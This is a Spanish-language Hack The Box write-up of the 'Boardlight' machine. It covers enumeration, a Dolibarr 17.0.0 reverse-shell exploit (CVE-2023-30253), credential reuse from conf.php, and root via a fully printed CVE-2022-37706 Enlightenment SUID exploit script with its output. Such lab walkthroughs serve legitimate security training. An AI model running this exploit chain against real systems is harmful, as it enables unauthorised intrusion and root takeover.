Boardlight - Easy

Hola a todos, hoy les presentaré la resolución de una máquina Hack the box de dificultad Easy. En esta máquina aprenderemos a explotar Dolibar v17.0.0 con un exploit para luego conectarnos por SSH y llegar a ser root abusando de privilegios SUID con otro exploit
Reconocimiento
-
Enumeración con nmap
Hacemos un
nmapsimple para ver los puertos que corren en la máquina#nmap -p- -sS --min-rate 5000 -T5 -vvv -oN nmap.txt 10.10.11.11 Increasing send delay for 10.10.11.11 from 0 to 5 due to 1097 out of 2742 dropped probes since last increase. Warning: 10.10.11.11 giving up on port because retransmission cap hit (2). Nmap scan report for 10.10.11.11 Host is up, received echo-reply ttl 63 (0.33s latency). Scanned at 2024-08-08 21:39:03 CEST for 35s Not shown: 65125 closed tcp ports (reset), 408 filtered tcp ports (no-response) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmapUna vez tenemos los puertos que en este caso como podemos ver es el
22(ssh)y el80(http)aplicamos un
nmapmás exhaustivo a dichos puertos# nmap -p22,80 -sVC -v -oN port.txt 10.10.11.11 Nmap scan report for 10.10.11.11 Host is up (0.40s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA) | 256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA) |_ 256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Si aplicamos un
whatweb [http://10.10.11.11](http://10.10.11.11)vemos que hay un correo que sigue con unboard.htbwhatweb http://10.10.11.11 http://10.10.11.11 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], Email[info@board.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.11], JQuery[3.4.1], Script[text/javascript], X-UA-Compatible[IE=edge]Así que lo pondremos al
/etc/hosts, ya que es posible que se aplique virtual hosting10.10.11.11 board.htbAhora accederemos a la web para poder determinar que clase de vulnerabilidades podemos encontrar
Ya que anteriormente vimos que estaba abierto el puerto 80, vamos a acceder a la web a ver que encontramos

Si vamos mirando en la web la mayoría de pestañas que hay siempre te encontraras este formulario para rellenar , pero tras mucho rato probando cosas no funciona

Así que vamos a buscar por subdominios
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://board.htb -H "Host: FUZZ.board.htb" -fs 15949/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://board.htb :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt :: Header : Host: FUZZ.board.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 15949 ________________________________________________ crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 358ms] :: Progress: [19966/19966] :: Job [1/1] :: 90 req/sec :: Duration: [0:03:10] :: Errors: 0 ::Y nos encontramos
crm, vamos a añadirlos al/etc/hostsuna vez hecho esto vemos,un panel de loginen donde elusuario: adminy lapassword:adminy aparte encontramos algo que nos llama mucho la atenciónDolibarr 17.0.0. Si buscamos si es vulnerable a algo encontramos que es vulnerable y podemos usar un Exploit para poder acceder al sistema
Explotación de vulnerabilidades
Dolibar 17.0.0.1Nos descargamos el
Exploity le damos permisos de ejecuciónchmod +x exploit.pygit clone https://github.com/nikn0laty/Exploit-for-Dolibarr-17.0.0-CVE-2023-30253.gitNos ponemos en escucha
nc -nlvp 9001 listening on [any] 9001 ...Ejecutaremos el
exploity una vez acabe la ejecución tendremos acceso a la máquinapython3 exploit.py http://crm.board.htb admin admin <LHOST> 9001 [*] Trying authentication... [**] Login: admin [**] Password: admin [*] Trying created site... [*] Trying created page... [*] Trying editing page and call reverse shell... Press Ctrl+C after successful connectionAcceso a la máquina
Ya hemos obtenido acceso y podemos observar que somos el usuario
www-datanc -nlvp 9001 listening on [any] 9001 ... connect to [10.10.16.56] from (UNKNOWN) [10.10.11.11] 44614 bash: cannot set terminal process group (890): Inappropriate ioctl for device bash: no job control in this shell www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$Si aplicamos el comando
idpodemos ver que no estamos dentro de la máquina objetivo y somos el usuariowww-datawww-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)Si nos dirigimos 2 directorios hacia atrás encontramos esto
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ cd ../.. www-data@boardlight:~/html/crm.board.htb/htdocs$ ls accountancy comm document.php ftp margin public ticket adherents commande don holiday master.inc.php reception user admin compta ecm hrm modulebuilder recruitment variants api conf emailcollector imports mrp resource viewimage.php asset contact eventorganization includes multicurrency robots.txt webhook asterisk contrat expedition index.php opcachepreload.php salaries webservices barcode core expensereport install opensurvey security.txt website blockedlog cron exports intracommreport partnership societe workstation bom custom externalsite knowledgemanagement paybox stripe zapier bookcal datapolicy favicon.ico langs paypal supplier_proposal bookmarks dav fichinter loan printing support categories debugbar filefunc.inc.php mailmanspip product takepos collab delivery fourn main.inc.php projet themeVamos a ver el directorio
conf, ya que se pueden encontrar credenciales de base de datos, encontramos 3 directorios y nos llama la atención elconf.php.Nos encontramos unas credenciales de la base de datos
www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat conf.php <?php // // File generated by Dolibarr installer 17.0.0 on May 13, 2024 // // Take a look at conf.php.example file for an example of conf.php file // and explanations for all possibles parameters. // $dolibarr_main_url_root='http://crm.board.htb'; $dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs'; $dolibarr_main_url_root_alt='/custom'; $dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom'; $dolibarr_main_data_root='/var/www/html/crm.board.htb/documents'; $dolibarr_main_db_host='localhost'; $dolibarr_main_db_port='3306'; $dolibarr_main_db_name='dolibarr'; $dolibarr_main_db_prefix='llx_'; $dolibarr_main_db_user='dolibarrowner'; $dolibarr_main_db_pass='serverfun2$2023!!';Aparte miramos el
/etc/passwdencontramos un usuario llamadolarissawww-data@boardlight:~/html/crm.board.htb/htdocs/conf$ cat /etc/passwd | grep -i sh$ root:x:0:0:root:/root:/bin/bash larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bashSi nos conectamos con
sshcon el usuariolarissay lapasswordencontrada anteriormente, vemos que tenemos accesossh larissa@10.10.11.11 larissa@10.10.11.11's password: The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. larissa@boardlight:~$Y si aplicamos un
lsvemos eluser.txt(la flag)larissa@boardlight:~$ ls Desktop Documents Downloads Music Pictures Public Templates user.txt VideosEscalada a
rootSi buscamos por privilegios
SUIDencontramos esto que nos llama la atención,que es enlightenment ?larissa@boardlight:~$ find / -perm -4000 2>/dev/null /usr/lib/eject/dmcrypt-get-device /usr/lib/xorg/Xorg.wrap /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset¿Qué es
Linux Enlightenment?Enlightenmentes un gestor de ventanas, compositor y escritorio minimalista para Linux (la plataforma principal), BSD y cualquier otro sistema UNIX compatible .Si miramos la versión de
Enlightenmentencontramos esto de aquí ,versión 0.23.1larissa@boardlight:~$ enlightenment -version ESTART: 0.00041 [0.00041] - Begin Startup ESTART: 0.00091 [0.00049] - Signal Trap ESTART: 0.00093 [0.00002] - Signal Trap Done ESTART: 0.00157 [0.00065] - Eina Init ESTART: 0.00356 [0.00198] - Eina Init Done ESTART: 0.00359 [0.00004] - Determine Prefix ESTART: 0.00411 [0.00052] - Determine Prefix Done ESTART: 0.00414 [0.00003] - Environment Variables ESTART: 0.00415 [0.00002] - Environment Variables Done ESTART: 0.00416 [0.00001] - Parse Arguments Version: 0.23.1Buscamos en
googlea ver si hay alguna vulnerabilidad disponible para esa versión y encontramos esteexploitque nos será de gran ayuda,https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit
-
En pocas palabras lo que hace este script es mirar si
enlightenment_systiene privilegiosSUIDpara luego crear una carpeta temporal en/tmp/netpara luego crear un archivo llamadoexploitentmp,una vez echo esto escribe/bin/shen el archivoexploit, le da permisos de ejecución a todos los usuarios y luegoejecuta la shellque montará el directorio con las opciones dadas para poder ejecutar el archivo/tmp/exploit(que contiene el comando/bin/sh), dando acceso a unashell con privilegios elevados.#!/bin/bash echo "CVE-2022-37706" echo "[*] Trying to find the vulnerable SUID file..." echo "[*] This may take few seconds..." file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1) if [[ -z ${file} ]] then echo "[-] Couldn't find the vulnerable SUID file..." echo "[*] Enlightenment should be installed on your system." exit 1 fi echo "[+] Vulnerable SUID binary found!" echo "[+] Trying to pop a root shell!" mkdir -p /tmp/net mkdir -p "/dev/../tmp/;/tmp/exploit" echo "/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit echo "[+] Enjoy the root shell :)" ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net
Nos descargamos el código y lo copiamos a la máquina víctima, una vez copiado, le damos permisos de ejecución e iniciamos el
exploitlarissa@boardlight:~/Desktop$ chmod +x exploit.sh larissa@boardlight:~/Desktop$ ./exploit.sh CVE-2022-37706 [*] Trying to find the vulnerable SUID file... [*] This may take few seconds... [+] Vulnerable SUID binary found! [+] Trying to pop a root shell! [+] Enjoy the root shell :) mount: /dev/../tmp/: can't find in /etc/fstab. # whoami rootY encontraremos la
flagen/root/root.txtFinalización
Espero que hayan aprendido mucho haciendo esta máquina y les haya servido de ayuda mi explicación para poder entender esta CTF. Muchas gracias por leer el artículo y no olviden seguirme en GitHub, ya que también iré subiendo herramientas de hacking.
-